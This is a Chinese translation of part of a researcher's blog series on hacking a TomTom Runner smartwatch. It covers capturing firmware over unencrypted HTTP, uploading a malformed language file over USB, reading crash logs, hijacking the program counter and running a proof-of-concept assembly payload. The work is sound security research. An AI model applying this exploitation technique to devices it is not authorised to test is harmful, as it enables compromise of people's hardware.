原文鏈接:http://grangeia.io/2015/11/09/hacking-tomtom-runner-pt1/ part1 part2 part3
雖然專業化是很多領域的關鍵所在,但是我個人認為在信息安全這一領域,過于專業會導致視野狹隘、觀點片面。現在我就想讓自己嘗試那些我不是很喜歡的領域,而這篇文章就是在闡述一個我討厭了很久的東西:嵌入式硬件逆向工程。
現在的物聯網設備有很多吸引人的地方:
今年有個很明顯的流行詞,物聯網。撇去流行不說,我認為我們確實已經到了任何電子設備都會生成數據并分享給全世界的地步。
這次我們來破解這款智能手表
The TomTom Runner
首先要做的第一件事就是給所有這些設備下載了固件,這些設備的固件通常都可以在廠家官網或者用戶論壇上找到。
選擇好了入侵TomTom,接下來就要從一個黑客的角度來研究它了。我們這里不要選擇拆這個智能手表,也不要用JTAG或者Debug pins來進行硬件上的入侵。而且感覺TomTom手表應該會有一些保護措施,這個也應該比較困難。
所以,從外部看,我想到了下面這些攻擊途徑:
要入侵任何一臺設備的第一步都是獲取它的固件包,我是通過看TomTom如何用官方軟件給手表固件升級實現的。
用Wireshark同時強迫固件升級可以找到固件的文件目錄:
如果你足夠細心的話,你就會發現這就是一個常規的HTTP頁面,沒有SSL。這點之后還會用到。這里有很多的文件,但是有用的就只有:
還有一些其他的文件:設備配置文件,GPS和BLE模塊硬件。這兩個是加密了的文件,不過沒什么意思。
這個最大的文件0x000000F0(將近400kb),應該是主要的固件包。用binwalk固件分析器打開發現了這些東西:
$ binwalk -BEH 0x000000F0
DECIMAL HEXADECIMAL HEURISTIC ENTROPY ANALYSIS
--------------------------------------------------------------------------------
1024 0x400 High entropy data, best guess: encrypted, size: 470544, 0 low entropy blocks
如果你還想進一步破解的話可以用vbindiff比較下這兩個不同的固件版本:
注意:
這就說明這很有可能是在ECB模式中的某種分組密碼。現在最常見的16字節密碼是AES。
我們過會兒再對固件分析,現在我們看看可以從設備的硬件了解到什么東西。
在不打開這個手表的情況下我們怎樣了解它的內部信息呢?基本上所有在美國出售RF發射設備都被FCC測試過了,然后FCC會發表一篇報告,這個報告包含了各種豐富的信息和照片:
上圖包括這些芯片:
這個GPS芯片焊接在方向鍵附近。現在我們已經對這個設備的內部有了充分的了解,我們就可以繼續入侵了。
為了充分理解相關知識,我在ttwatch上找了一個很好的開源軟件,TomTom Windows軟件做的事情它絕大部分都可以做到。
我看了下源碼,實際上很多智能手表上的USB通信都只是對EEPROM進行簡單的讀寫指令,同時我也找到了很多智能手表有趣而且不可記錄的USB指令。其實USB通信非常簡單,每個指令都至少包含下面的這些字節:
09 02 01 0E
"09" -> Indicates a command to the watch (preamble)
"02" -> Size of message
"01" -> sequence number. Should increment after each command.
"0E" -> Actual command byte (this one formats the EEPROM)
絕大多數智能手表接受或者發出指令都要從之前的4MB EEPROM中讀取或寫入。ttwatch已經為我們做好了這些,我們可以讀,寫并列出這些文件:
#!bash
[email protected]:~/usb# ttwatch -l
0x00000030: 16072
0x00810004: 4198
0x00810005: 4136
0x00810009: 3968
0x0081000b: 3980
0x0081000a: 4152
0x0081000e: 3957
0x0081000f: 4156
0x0081000c: 4003
0x00810002: 4115
[...]
[email protected]:~/usb# ttwatch -r 0x00f20000
<?xml version="1.0" encoding="UTF-8"?>
<preferences version="1" modified="seg set 21 13:34:28 2015">
<ephemerisModified>0</ephemerisModified>
<SyncTimeToPC>1</SyncTimeToPC>
<SendAnonymousData>1</SendAnonymousData>
<WatchWindowMinimized>0</WatchWindowMinimized>
<watchName>lgrangeia</watchName>
<ConfigURL>https://mysports.tomtom.com/service/config/config.json</ConfigURL>
<exporters>
</exporters>
</preferences>
我在測試中發現如果你對一個之前在download.tomtom.com看到的固件文件進行寫操作,下次你斷開手表的USB連接時,這個手表會重啟并且刷新文件。
首先,我們要查看EEPROM中的每一個文件,包括日志文件,給大家看個例子:
上面這個文件表明,設備里的藍牙芯片有自己的固件,并會在MD5驗證之后顯示出來。
其實我對那些被解析出來的文件很感興趣,因為這些文件容易修改,而且我認為應該好好利用里面的漏洞。其中有兩種符合的文件:運動信息文件和語言文件。
運動文件采用二進制格式(ttbin),同時有一些工具,比如ttwatch,把這些文件轉換成其他格式。不過我還是選擇放棄運動文件,因為這個智能手表只能生成文件而不會解析文件:有一個界面會向你展示你最近的跑步情況,但設備永遠不會打開ttbin文件去讀它。
所以還是語言文件要有意思的多,讓我們隨便看看其中一個:
這段數據的結構非常簡單:
在很多情況下,解析器都無法對這個文件進行準確的解析,所以我列出了一系列要解決的問題:
這個結構很簡單,所以我們不需要自動的漏洞檢查工具去檢測。
接下來的事就很簡單了,用電腦上的十六進制編輯器編輯文件,再用ttwatch文件傳輸選擇上傳到設備當中:
#!bash
$ cat 00810003.bin | ttwatch -w 0x00810003
這里要注意每個文件都對應不同的翻譯。我改變了德語文件,然后斷開設備的USB連接,并把設備的語言設置為德語,最后將上面的問題解決了一些。
當你試圖改變UI語言時這個設備應該會自動重啟,當然別的情況也會重啟,不過這個還是有些不同,因為在那之后EEPROM(0x00013000)中多了個新文件:
#!bash
$ ttwatch -r 0x00013000
Crashlog - SW ver 1.8.42
R1 = 0x00000000
R2 = 0x00000002
R3 = 0x00000f95
R12 = 0x00000000
LR [R14] = 0x00441939 subroutine call return address
PC [R15] = 0x2001b26c program counter
PSR = 0x41000000
BFAR = 0x010f0040
CFSR = 0x00008200
HFSR = 0x40000000
DFSR = 0x00000000
AFSR = 0x00000000
Batt = 4160 mV
stack hi = 0x000004d4
你沒有看錯!這是崩潰日志!從這個文件我們得到許多有用的東西。比如我們可以得到一些關鍵寄存器的值,包括程序計數器、R0-R3、R12、一些狀態值 、以及電池電量和堆棧大小。通過重啟之后重復的一些過程,我們得到了寄存器的一些相同的值,這意味著這個智能手表當中沒有使用任何內存隨機化的手段。
接著是許多數據表和ARM文檔。很快我就從中了解到一個最重要的信息,那就是執行流程從閃存ROM到了ARM區域。這可以從PC(程序計數器)的值中看出。它的值就是保存在RAM中的內存區域。請注意下面這張來自Atmel的數據表:
因為某種原因,執行從ROM區域跳到了我們裝載語言文件區域附近的SRAM,起始地址是0x20000000。如果我們能夠控制好我們語言文件的位置或者從正確的方向“推動”程序計數器,我們就能自己控制跳躍到內存區域。
經過一些改動之后,我注意到有兩個不同類型的崩潰:第一個是在我選擇非法語言文件的時候,第二個是在我從菜單中滾動語言的時候。第二個確實也會導致重啟。似乎不管你有沒有選擇,語言文件都會載入到RAM中。這也給了我另一個想法:我可以改變其他語言文件的內容,看看這是否會對寄存器產生某種影響。
我改變了所有字母B(ASCII碼0x42)的語言列表中的下一個語言文件,沒有改變sbuf_size的value并把num_strings設置為零。之前的語言文件仍然有6001比特大小的sbuf_size。接著我重啟了手表,進入語言菜單滾動了下語言。接著手表崩潰了:
Crashlog - SW ver 1.8.42
R0 = 0x2001b088
R1 = 0x42424242
R2 = 0x00000002
R3 = 0x00000f95
R12 = 0x00000000
LR [R14] = 0x00441939 subroutine call return address
PC [R15] = 0x42424242 program counter
PSR = 0x60000000
BFAR = 0xe000ed38
CFSR = 0x00000001
HFSR = 0x40000000
DFSR = 0x00000000
AFSR = 0x00000000
Batt = 4190 mV
stack hi = 0x000004d4
看到了么,我們能夠控制進入程序計數器的東西!不知怎么的,執行流程跳到了我們控制的地址,也就是說我們可以執行轉移到內存的任何一個地方了,這也就代表著我們可以在TomTom中執行任意代碼了。
好的,我們現在已經知道如何轉移到內存中的任何一個地方了,在一個普通的操作系統中,有很多我們可以做的事情:系統調用、標準庫調用等等。但這個設備就沒這么好了。
首先我們驗證下簡單的payload的執行,payload構造可以在匯編中完成。下面是我的第一次嘗試:
.syntax unified
.thumb
mov r2, #0x13
mov r3, #0x37
add r1, r3, r2, lsl #8
mov r0, #0
bx r0
注意一定要指定Thumb指令,因為Cortex-M4只會在Thumb模式下運行。代碼的 最后兩行跳到了地址0x00000000,這樣每次都會導致崩潰,因為ARM處理器會根據bx jump的指令地址最后的標志位選擇使用ARM指令還是Thumb指令。現在最低位是0,所以我們使用的是ARM指令。而就像前面剛說的那樣,ARM ortex-M4只支持Thumb,所以出錯了。
我們可以用交叉編譯器工具在一個非ARM Linux系統中解決這個問題。就像這樣:
#!bash
$ arm-none-eabi-as -mcpu=cortex-m4 -o first.o first.s
這是編譯好的代碼,用objdump反編譯:
#!bash
$ arm-linux-gnueabi-objdump -d first.o
first.o: file format elf32-littlearm
Disassembly of section .text:
00000000 <.text>:
0: f04f 0213 mov.w r2, #19
4: f04f 0337 mov.w r3, #55 ; 0x37
8: eb03 2102 add.w r1, r3, r2, lsl #8
c: f04f 0000 mov.w r0, #0
10: 4700 bx r0
接下來要做的,是把這個payload放到設備中。我們把這個放到德語文件,然后把用于jump指令的指針(第二個文件中的第四雙字)指向它。
下面這張圖片是在第二個文件(0x00810003)設置的所有內容:
第四個雙字很明顯指向我們的payload,然后我把文件裝載到了手表中,像之前那樣通過選擇語言執行跳轉。在又一次崩潰之后,我們得到了這樣的的崩潰日志(請注意第1、2、3行):
Crashlog - SW ver 1.8.42
R0 = 0x00000000
R1 = 0x00001337
R2 = 0x00000013
R3 = 0x00000037
R12 = 0x00000000
LR [R14] = 0x00441939 subroutine call return address
PC [R15] = 0x00000000 program counter
PSR = 0x20000000
BFAR = 0xe000ed38
CFSR = 0x00020000
HFSR = 0x40000000
DFSR = 0x00000000
AFSR = 0x00000000
Batt = 4192 mV
stack hi = 0x000004d4
如上圖所示,我們現在就可以在一個在物聯網設備的封閉固件中進行任意的代碼執行了!